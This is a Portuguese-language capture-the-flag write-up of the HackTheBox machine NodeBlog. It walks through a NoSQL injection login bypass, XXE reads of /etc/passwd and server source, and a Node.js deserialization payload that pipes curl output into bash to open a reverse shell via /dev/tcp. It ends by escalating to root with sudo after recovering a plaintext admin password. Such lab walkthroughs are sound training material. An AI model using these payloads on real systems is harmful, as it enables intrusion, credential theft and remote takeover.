> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/nodeblog-hackthebox-writeup.md).

# Writeup do HackTheBox NodeBlog

Writeup da máquina Easy Linux NodeBlog do HackTheBox cobrindo injeção NoSQL (bypass de autenticação), leitura de arquivo XXE, ataque de desserialização NodeJS (abuso de IIFE), enumeração de banco Mongo, com prática

{% embed url="<https://app.hackthebox.com/machines/NodeBlog>" %}

{% hint style="warning" %}
**Habilidades:**

* Injeção NoSQL (Burlar Autenticação)
* Leitura de Arquivo via XXE
* Ataque de Desserialização em NodeJS (Abusando de IIFE)
* Enumeração do Banco de Dados Mongo
  {% endhint %}

## Reconhecimento

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a37c0d9ff81cbbbabf5497b0c9df2c13ee3af4ac%2Fimage%20(2881).png?alt=media" alt=""><figcaption></figcaption></figure>

**Descoberta de Portas Abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.139
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f41680318d94ca2816f02407e888b92d9f25445d%2Fimage%20(2882).png?alt=media" alt=""><figcaption></figcaption></figure>

varredura de versão de portas com Nmap 22.5000

Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p22,5000 10.10.11.139 -oN targeted
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9802aba7edc682744d4f34f043ded383ecb08ef2%2Fimage%20(2883).png?alt=media" alt=""><figcaption></figcaption></figure>

### Análise da Porta 5000 - Aplicação NodeJS

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5962fd41a6c913ad5944708e4743c06553f974c4%2Fimage%20(2884).png?alt=media" alt=""><figcaption></figcaption></figure>

* Um painel de administração é descoberto.
* O `admin` o usuário é válido.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-827022d04c8924e51804d0cff563cdccb6feb6ba%2Fimage%20(2885).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade de Injeção NoSQL (Burlar Autenticação)

Interceptando a requisição com o Burp Suite.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c1333ce96e08258f5f54703a0b6cae6321a51803%2Fimage%20(2886).png?alt=media" alt=""><figcaption></figcaption></figure>

Teste payloads clássicos de injeção:

```bash
username=admin&password[$ne]=toto
```

Isso não funciona.

Converter para JSON e alterar o `Tipo de Conteúdo` para `application/json`:

```sql
{
  "user": "admin",
  "password": { "$ne": null }
}
```

Resultado: Autenticação bem-sucedida!

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-867df5221d68233f84b2b1a085c45d568fdd5ef7%2Fimage%20(2887).png?alt=media" alt=""><figcaption></figcaption></figure>

## Exploração da vulnerabilidade de Injeção XXE

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-80af2ea4ce0941d799be213686d7be7e92eec4da%2Fimage%20(2888).png?alt=media" alt=""><figcaption></figcaption></figure>

Envio de um arquivo TXT: recusado, apenas arquivos XML são aceitos.

```
Olá, isto é um teste
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f53bbf8cdb2e0ab761903fe128265bc6a644f0a%2Fimage%20(2889).png?alt=media" alt=""><figcaption></figcaption></figure>

Formato necessário:

```xml
<post>
    <title>Publicação de Exemplo</title>
    <description>Descrição de Exemplo</description>
    <markdown>Markdown de Exemplo</markdown>
</post>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11bafd4b72dc94415155bebd1c91033704f8b182%2Fimage%20(2890).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea4846c5186c1369109a1ac673b8776d5f54248f%2Fimage%20(2892).png?alt=media" alt=""><figcaption></figcaption></figure>

Enviando um arquivo XML contendo uma entidade externa para ler `/etc/passwd`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<post>
    <title>Publicação de Exemplo</title>
    <description>Descrição de Exemplo</description>
    <markdown>&xxe;</markdown>
</post>
```

Resultado: O conteúdo de `/etc/passwd` é exibido.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a1b719db00f4a7f3fcde233e3f8f67a12e1feaf%2Fimage%20(2893).png?alt=media" alt=""><figcaption></figcaption></figure>

* Descoberta de um usuário `admin`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-64202dc5277cc5b218c1e77460bfca4982e2a839%2Fimage%20(2894).png?alt=media" alt=""><figcaption></figcaption></figure>

Injeção para ler `/opt/blog/server.js` e identificar credenciais armazenadas.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd69d9c7adcc3b5523ce0077713d0fe87e6d9e80%2Fimage%20(2895).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///opt/blog/server.js" >]>
<post>
    <title>Publicação de Exemplo</title>
    <description>Descrição de Exemplo</description>
    <markdown>&xxe;</markdown>
</post>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-540e6a5388312c3aae7c67bd6e2a8570f01c8578%2Fimage%20(2896).png?alt=media" alt=""><figcaption></figcaption></figure>

## Aproveitando a desserialização NodeJS

* Foi descoberta uma função que desserializa cookies de sessão.

<div data-full-width="true"><figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b2f915aa429e18b3c30348763cee1174ee7b0ed%2Fimage%20(2897).png?alt=media" alt=""><figcaption></figcaption></figure></div>

Criando um payload:

{% code overflow="wrap" %}

```javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ping -c 1 10.10.14.61', function(error, stdout, stderr) { console.log(stdout) }); }()"}
```

{% endcode %}

Monitorando o tráfego ICMP com:

```bash
tcpdump -i tun0 icmp -n
```

* Codificação URL:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-29f480cfb0cc159cd0950d7da9bb76c1261ba912%2F%7BBAFDCE09-9711-4185-BB24-4A0E4DAC5F49%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%70%69%6e%67%20%2d%63%20%31%20%31%30%2e%31%30%2e%31%34%2e%32%38%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d
```

{% endcode %}

Construção de uma RCE via codificação de URL e injeção em cookies.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f4f7d457a0c99906352591228b261120bb46f3b4%2Fimage%20(2899).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
tcpdump -i tun0 icmp -n
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c684d467429d0754df6691b4af413cb2371272a8%2Fimage%20(2900).png?alt=media" alt=""><figcaption></figcaption></figure>

### RCE - Vulnerabilidade de Desserialização (nodejs)

Criando um `index.html` script de shell reverso:

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.61/443 0>&1
```

Iniciando um servidor HTTP:

```bash
python3 -m http.server 80
```

Escutando:

```bash
nc -nlvp 443
```

#### Enviando o payload:

{% code overflow="wrap" %}

```javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://10.10.14.61 | bash', function(error, stdout, stderr) { console.log(stdout) }); }()"}
```

{% endcode %}

* Codificação URL:

{% code overflow="wrap" %}

```
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%34%2e%36%31%20%7c%20%62%61%73%68%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d
```

{% endcode %}

Resultado: acesso ao shell obtido.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c772ca0a204fd7778d0a4b079c503518620f7d15%2F%7BCB6EA705-F2D9-4542-971F-3B1D69444078%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1af62d3af8110eacc95d0d495f96da394c557f75%2F%7BFACA0D49-E8B1-4BC8-9B44-700ECB4257D2%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de Privilégios

### Enumeração do Banco de Dados Mongo

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71e7bd028c7fed59621fba78814ccde10e9e52e3%2Fimage%20(2901).png?alt=media" alt=""><figcaption></figcaption></figure>

Conexão com o banco de dados MongoDB (porta 27017 aberta):

```bash
mongo
show dbs
use blog
show tables
db.users.find()
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1da7c69cefc94c24ceb5217c2a8eff1d8f873ab0%2F%7B441FD16F-EA2F-475A-880B-885A5078D262%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* usuário: admin
* senha : IppsecSaysPleaseSubscribe

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f323aa4653ca82859b91b61ee3f34bda34d7f1d7%2F%7BB0D869E1-98AD-45C8-A37A-0CD27A912A0D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Sudo (ALL:ALL)

Verificando privilégios sudo:

```bash
sudo -l
```

Resultado: o usuário admin pode executar `sudo su` sem uma senha.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-958a73dfe7eceb591e0cbc1c5b88c636126bc91c%2F%7B2821239A-231F-4C9C-AA64-355C2E6C41C6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Acesso root :

```bash
sudo su
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6dbad48ebbaab123f06af4cdd78dcb938bd8a022%2F%7BAB86238C-A02B-4D9F-994E-B6A19AF2CB61%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f804261d599f2829475d34d78c48af558c174fb8%2F%7B0F6DAC41-586A-43A2-9397-BD19E9AE9317%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-da24b25faa9c14c66547beb0056c61ed9494f1e2%2F%7B69843223-DFF0-46EB-B85C-B1E9FB04275A%7D.png?alt=media" alt="" width="338"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
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```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/nodeblog-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

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